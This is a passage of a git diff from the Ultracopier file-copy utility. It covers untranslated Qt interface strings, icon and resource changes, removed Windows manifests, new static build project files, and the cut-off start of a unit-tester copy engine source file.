+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
+ <source>The variables are %time%, %source%, %size%, %destination%</source>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
+ <source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
+ <source>The variables are %path%, %operation%</source>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
+ <source>Do nothing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
+ <source>Ask source as folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
+ <source>Ask sources as files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
+ <source>Never</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
+ <source>When source is same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
+ <source>When destination is same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
+ <source>When source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
+ <source>When source or destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
+ <source>Always</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OptionEngine</name>
+ <message>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>PluginInformation</name>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="14"/>
+ <source>About this plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="23"/>
+ <source>Name:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="37"/>
+ <source>Category:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="51"/>
+ <source>Author:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="65"/>
+ <source>Website:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="79"/>
+ <source>Date:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="93"/>
+ <source>Description:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="107"/>
+ <source>Version:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.ui" line="121"/>
+ <source>Title:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
+ <source>Languages</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
+ <source>Themes</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
+ <source>Information about %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>PluginsManager</name>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
+ <source>informations.xml is not accessible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
+ <source>%1, parse error at line %2, column %3: %4</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
+ <source>&quot;package&quot; root tag not found for the xml file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
+ <source>Duplicated plugin found, already loaded!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
+ <source>Tag not found: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
+ <source>Dependencies part is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
+ <source>Dependencies %1 are not satisfied, for plugin: %2</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
+ <source>Remove %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
+ <source>Are you sure about removing &quot;%1&quot; in version %2?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
+ <source>Error while the removing plugin, please check the rights on the folder:
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
+ <source>Information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
+ <source>Previous import is in progress...</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
+ <source>Open Ultracopier plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
+ <source>Ultracopier plugin (*.urc)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <source>Unable to open the plugin: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
+ <source>Unable to load the plugin content, please check it: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <source>Unable to create a folder to install the plugin:
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <source>Unable to create a file to install the plugin:
+%1
+since:%2</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <source>Folder with same name is present, skip the plugin installation:
+%1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <source>Unable to load the plugin content, please check it</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>QXzDecode</name>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
+ <source>Memory allocation failed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
+ <source>Write error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
+ <source>Memory usage limit reached</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
+ <source>Not a .xz file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
+ <source>Unsupported options in the .xz headers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
+ <source>The file is corrupted</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
+ <source>Bug!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
+ <source>The input data is too short</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>SystrayIcon</name>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
+ <source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
+ <source>Information</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
+ <source>&amp;About/Debug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
+ <source>&amp;About</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
+ <source>&amp;Quit</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
+ <source>&amp;Options</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
+ <source>A&amp;dd copy/moving</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
+ <source>Add &amp;copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
+ <source>Add &amp;transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
+ <source>Add &amp;move</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/resources/bug-128x128.png b/resources/bug-128x128.png
index 051e738..1329a1c 100644
--- a/resources/bug-128x128.png
+++ b/resources/bug-128x128.png
Binary files differ
diff --git a/resources/document-encrypt.png b/resources/document-encrypt.png
deleted file mode 100644
index c6d26f9..0000000
--- a/resources/document-encrypt.png
+++ /dev/null
Binary files differ
diff --git a/resources/moveDown.png b/resources/moveDown.png
index 03f2014..82a312c 100644
--- a/resources/moveDown.png
+++ b/resources/moveDown.png
Binary files differ
diff --git a/resources/moveUp.png b/resources/moveUp.png
index 5e42321..7f7ba72 100644
--- a/resources/moveUp.png
+++ b/resources/moveUp.png
Binary files differ
diff --git a/resources/none-128x128.png b/resources/none-128x128.png
index 32be6b3..c2b4551 100644
--- a/resources/none-128x128.png
+++ b/resources/none-128x128.png
Binary files differ
diff --git a/resources/options.png b/resources/options.png
index d35365c..23ec531 100644
--- a/resources/options.png
+++ b/resources/options.png
Binary files differ
diff --git a/resources/qt.conf b/resources/qt.conf
new file mode 100644
index 0000000..7b3ff10
--- /dev/null
+++ b/resources/qt.conf
@@ -0,0 +1,2 @@
+[Paths]
+Plugins = qt-plugins/
diff --git a/resources/resources-windows-qt-plugin.qrc b/resources/resources-windows-qt-plugin.qrc
new file mode 100644
index 0000000..6677f1f
--- /dev/null
+++ b/resources/resources-windows-qt-plugin.qrc
@@ -0,0 +1,5 @@
+<RCC>
+ <qresource prefix="/qt/etc/">
+ <file>qt.conf</file>
+ </qresource>
+</RCC>
diff --git a/resources/resources-windows.rc b/resources/resources-windows.rc
index 59649fe..2a471d0 100644
--- a/resources/resources-windows.rc
+++ b/resources/resources-windows.rc
@@ -28,22 +28,9 @@ FILETYPE VFT_APP
}
}
-IDI_ICON1 ICON DISCARDABLE "ultracopier.ico"
-
-#ifdef _UNICODE
-#if defined _M_IX86
-#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
-#elif defined _M_IA64
-#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='ia64' publicKeyToken='6595b64144ccf1df' language='*'\"")
-#elif defined _M_X64
-#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
+#ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+IDI_ICON1 ICON DISCARDABLE "ultracopier-all-in-one.ico"
#else
-#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
-#endif
+IDI_ICON1 ICON DISCARDABLE "ultracopier.ico"
#endif
-#if defined(_M_X64)
-1 RT_MANIFEST "ultracopier.exe.amd64.manifest"
-#else
-1 RT_MANIFEST "ultracopier.exe.x86.manifest"
-#endif \ No newline at end of file
diff --git a/resources/supercopier-128x128.png b/resources/supercopier-128x128.png
new file mode 100644
index 0000000..0bc611d
--- /dev/null
+++ b/resources/supercopier-128x128.png
Binary files differ
diff --git a/resources/supercopier-16x16.png b/resources/supercopier-16x16.png
new file mode 100644
index 0000000..9c597af
--- /dev/null
+++ b/resources/supercopier-16x16.png
Binary files differ
diff --git a/resources/supercopier-all-in-one.ico b/resources/supercopier-all-in-one.ico
new file mode 100644
index 0000000..3714a0e
--- /dev/null
+++ b/resources/supercopier-all-in-one.ico
Binary files differ
diff --git a/resources/supercopier.icns b/resources/supercopier.icns
new file mode 100644
index 0000000..184a5b9
--- /dev/null
+++ b/resources/supercopier.icns
Binary files differ
diff --git a/resources/supercopier.ico b/resources/supercopier.ico
new file mode 100644
index 0000000..de56a7c
--- /dev/null
+++ b/resources/supercopier.ico
Binary files differ
diff --git a/resources/systray_Caught_Unix.png b/resources/systray_Caught_Unix.png
index a81e70d..6f5d1cf 100644
--- a/resources/systray_Caught_Unix.png
+++ b/resources/systray_Caught_Unix.png
Binary files differ
diff --git a/resources/systray_Caught_Windows.png b/resources/systray_Caught_Windows.png
index 8072aea..5464856 100644
--- a/resources/systray_Caught_Windows.png
+++ b/resources/systray_Caught_Windows.png
Binary files differ
diff --git a/resources/systray_Semiuncaught_Unix.png b/resources/systray_Semiuncaught_Unix.png
index f40ea82..3961215 100644
--- a/resources/systray_Semiuncaught_Unix.png
+++ b/resources/systray_Semiuncaught_Unix.png
Binary files differ
diff --git a/resources/systray_Semiuncaught_Windows.png b/resources/systray_Semiuncaught_Windows.png
index 8d673e4..45d6315 100644
--- a/resources/systray_Semiuncaught_Windows.png
+++ b/resources/systray_Semiuncaught_Windows.png
Binary files differ
diff --git a/resources/systray_Uncaught_Unix.png b/resources/systray_Uncaught_Unix.png
index 9ce4779..ac4299a 100644
--- a/resources/systray_Uncaught_Unix.png
+++ b/resources/systray_Uncaught_Unix.png
Binary files differ
diff --git a/resources/systray_Uncaught_Windows.png b/resources/systray_Uncaught_Windows.png
index d0fca1b..6e6bae7 100644
--- a/resources/systray_Uncaught_Windows.png
+++ b/resources/systray_Uncaught_Windows.png
Binary files differ
diff --git a/resources/ultracopier-128x128.png b/resources/ultracopier-128x128.png
index d9f7ca2..c4547d2 100644
--- a/resources/ultracopier-128x128.png
+++ b/resources/ultracopier-128x128.png
Binary files differ
diff --git a/resources/ultracopier-16x16.png b/resources/ultracopier-16x16.png
index c0e31d2..326362b 100644
--- a/resources/ultracopier-16x16.png
+++ b/resources/ultracopier-16x16.png
Binary files differ
diff --git a/resources/ultracopier-all-in-one.ico b/resources/ultracopier-all-in-one.ico
new file mode 100644
index 0000000..d281659
--- /dev/null
+++ b/resources/ultracopier-all-in-one.ico
Binary files differ
diff --git a/resources/resources.qrc b/resources/ultracopier-resources.qrc
index 30980b0..b57de67 100644
--- a/resources/resources.qrc
+++ b/resources/ultracopier-resources.qrc
@@ -2,13 +2,14 @@
<qresource prefix="/">
<file>ultracopier-128x128.png</file>
<file>ultracopier-16x16.png</file>
- <file>document-encrypt.png</file>
<file>moveUp.png</file>
<file>moveDown.png</file>
<file>bug-128x128.png</file>
<file>none-128x128.png</file>
<file>Languages/en/flag.png</file>
<file>Languages/en/informations.xml</file>
+ <file>Languages/en/translation.qm</file>
<file>options.png</file>
+ <file>warning.png</file>
</qresource>
</RCC>
diff --git a/resources/resources_unix.qrc b/resources/ultracopier-resources_unix.qrc
index 1be76bf..1be76bf 100644
--- a/resources/resources_unix.qrc
+++ b/resources/ultracopier-resources_unix.qrc
diff --git a/resources/resources_windows.qrc b/resources/ultracopier-resources_windows.qrc
index a504744..a504744 100644
--- a/resources/resources_windows.qrc
+++ b/resources/ultracopier-resources_windows.qrc
diff --git a/resources/ultracopier.exe.amd64.manifest b/resources/ultracopier.exe.amd64.manifest
deleted file mode 100644
index e55d924..0000000
--- a/resources/ultracopier.exe.amd64.manifest
+++ /dev/null
@@ -1,14 +0,0 @@
-<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
- <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
- <security>
- <requestedPrivileges>
- <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
- </requestedPrivileges>
- </security>
- </trustInfo>
- <dependency>
- <dependentAssembly>
- <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="amd64" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
- </dependentAssembly>
- </dependency>
-</assembly> \ No newline at end of file
diff --git a/resources/ultracopier.exe.x86.manifest b/resources/ultracopier.exe.x86.manifest
deleted file mode 100644
index a092ab0..0000000
--- a/resources/ultracopier.exe.x86.manifest
+++ /dev/null
@@ -1,14 +0,0 @@
-<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
- <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
- <security>
- <requestedPrivileges>
- <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
- </requestedPrivileges>
- </security>
- </trustInfo>
- <dependency>
- <dependentAssembly>
- <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
- </dependentAssembly>
- </dependency>
-</assembly> \ No newline at end of file
diff --git a/resources/warning.png b/resources/warning.png
new file mode 100644
index 0000000..9c9580f
--- /dev/null
+++ b/resources/warning.png
Binary files differ
diff --git a/static.pro b/static.pro
new file mode 100644
index 0000000..a418564
--- /dev/null
+++ b/static.pro
@@ -0,0 +1,33 @@
+DEFINES += ULTRACOPIER_PLUGIN_ALL_IN_ONE
+
+include(ultracopier-core.pro)
+
+RESOURCES += plugins/static-plugins.qrc \
+ plugins/CopyEngine/Ultracopier/copyEngineResources.qrc
+
+win32:RESOURCES += plugins/static-plugins-windows.qrc
+
+LIBS = -Lplugins -lcopyEngine -linterface -llistener
+win32:LIBS += -lpluginLoader -lsessionLoader
+
+build_pass:CONFIG(debug, debug|release) {
+LIBS = -Lplugins -lcopyEngined -linterfaced -llistenerd
+win32:LIBS += -lpluginLoaderd -lsessionLoaderd
+}
+
+HEADERS -= lib/qt-tar-xz/xz.h \
+ lib/qt-tar-xz/QXzDecodeThread.h \
+ lib/qt-tar-xz/QXzDecode.h \
+ lib/qt-tar-xz/QTarDecode.h \
+ AuthPlugin.h
+SOURCES -= lib/qt-tar-xz/QXzDecodeThread.cpp \
+ lib/qt-tar-xz/QXzDecode.cpp \
+ lib/qt-tar-xz/QTarDecode.cpp \
+ lib/qt-tar-xz/xz_crc32.c \
+ lib/qt-tar-xz/xz_dec_stream.c \
+ lib/qt-tar-xz/xz_dec_lzma2.c \
+ lib/qt-tar-xz/xz_dec_bcj.c \
+ AuthPlugin.cpp
+INCLUDEPATH -= lib/qt-tar-xz/
+
+RESOURCES -= resources/resources-windows-qt-plugin.qrc
diff --git a/supercopier-static.pro b/supercopier-static.pro
new file mode 100644
index 0000000..5a83029
--- /dev/null
+++ b/supercopier-static.pro
@@ -0,0 +1,6 @@
+include(static.pro)
+
+RESOURCES += plugins-alternative/static-plugins-supercopier.qrc \
+ plugins-alternative/Themes/Supercopier/interfaceResources_windows.qrc \
+ plugins-alternative/Themes/Supercopier/interfaceResources_unix.qrc \
+ plugins-alternative/Themes/Supercopier/interfaceResources.qrc \ No newline at end of file
diff --git a/tools/unit-tester/copyEngine.cpp b/tools/unit-tester/copyEngine.cpp
new file mode 100644
index 0000000..f74361d
--- /dev/null
+++ b/tools/unit-tester/copyEngine.cpp
@@ -0,0 +1,1386 @@
+/** \file copyEngine.cpp
+\brief Define the copy engine
+\author alpha_one_x86
+*/
+
+#include "copyEngine.h"
+#include "folderExistsDialog.h"
+#include "../../../interface/PluginInterface_CopyEngine.h"
+
+copyEngine::copyEngine(const QString &path,const QList<SupportedTest> &tests)
+{
+ listThread=new ListThread(facilityEngine);
+ this->facilityEngine=facilityEngine;
+ filters=NULL;
+ renamingRules=NULL;
+
+ interface = NULL;
+ tempWidget = NULL;
+ uiIsInstalled = false;
+ dialogIsOpen = false;
+ maxSpeed = 0;
+ alwaysDoThisActionForFileExists = FileExists_NotSet;
+ alwaysDoThisActionForFileError = FileError_NotSet;
+ checkDestinationFolderExists = false;
+ stopIt = false;
+ size_for_speed = 0;
+ forcedMode = false;
+
+ //implement the SingleShot in this class
+ //timerActionDone.setSingleShot(true);
+ timerActionDone.setInterval(ULTRACOPIER_PLUGIN_TIME_UPDATE_TRASNFER_LIST);
+ //timerProgression.setSingleShot(true);
+ timerProgression.setInterval(ULTRACOPIER_PLUGIN_TIME_UPDATE_PROGRESSION);
+
+}
+
+copyEngine::~copyEngine()
+{
+ /*if(filters!=NULL)
+ delete filters;
+ if(renamingRules!=NULL)
+ delete renamingRules;
+ destroyed by the widget parent, here the interface
+ */
+ stopIt=true;
+ delete listThread;
+ delete ui;
+}
+
+void copyEngine::connectTheSignalsSlots()
+{
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
+ debugDialogWindow.show();
+ #endif
+ if(!connect(listThread,&ListThread::actionInProgess, this,&copyEngine::actionInProgess, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect actionInProgess()");
+ if(!connect(listThread,&ListThread::actionInProgess, this,&copyEngine::newActionInProgess, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect actionInProgess() to slot");
+ if(!connect(listThread,&ListThread::newFolderListing, this,&copyEngine::newFolderListing, Qt::QueuedConnection))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"unable to connect newFolderListing()");
+ if(!connect(listThread,&ListThread::newCollisionAction, this,&copyEngine::newCollisionAction, Qt::QueuedConnection))
